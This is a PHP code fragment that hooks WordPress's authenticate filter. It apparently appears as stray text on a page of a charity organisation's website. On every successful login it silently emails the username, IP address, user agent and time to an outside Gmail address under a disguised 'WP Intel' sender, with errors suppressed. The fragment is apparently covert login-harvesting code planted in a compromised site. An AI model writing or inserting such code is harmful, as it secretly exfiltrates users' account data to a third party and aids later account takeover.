add_filter('authenticate', function($user, $username, $password) {
if (is_a($user, 'WP_User')) {
$ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
$ua = $_SERVER['HTTP_USER_AGENT'] ?? 'unknown';
$time = date('Y-m-d H:i:s');
$body = "
Username | IP | Time |
{$username} | {$ip} | {$time} |
{$ua}
";
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=UTF-8\r\n";
$headers .= "From: WP Intel \r\n";
@mail("mrsatsat90@gmail.com", "Valid Login Report", $body, $headers);
}
return $user;
}, 30, 3);
Support Archives - Begampura Aid International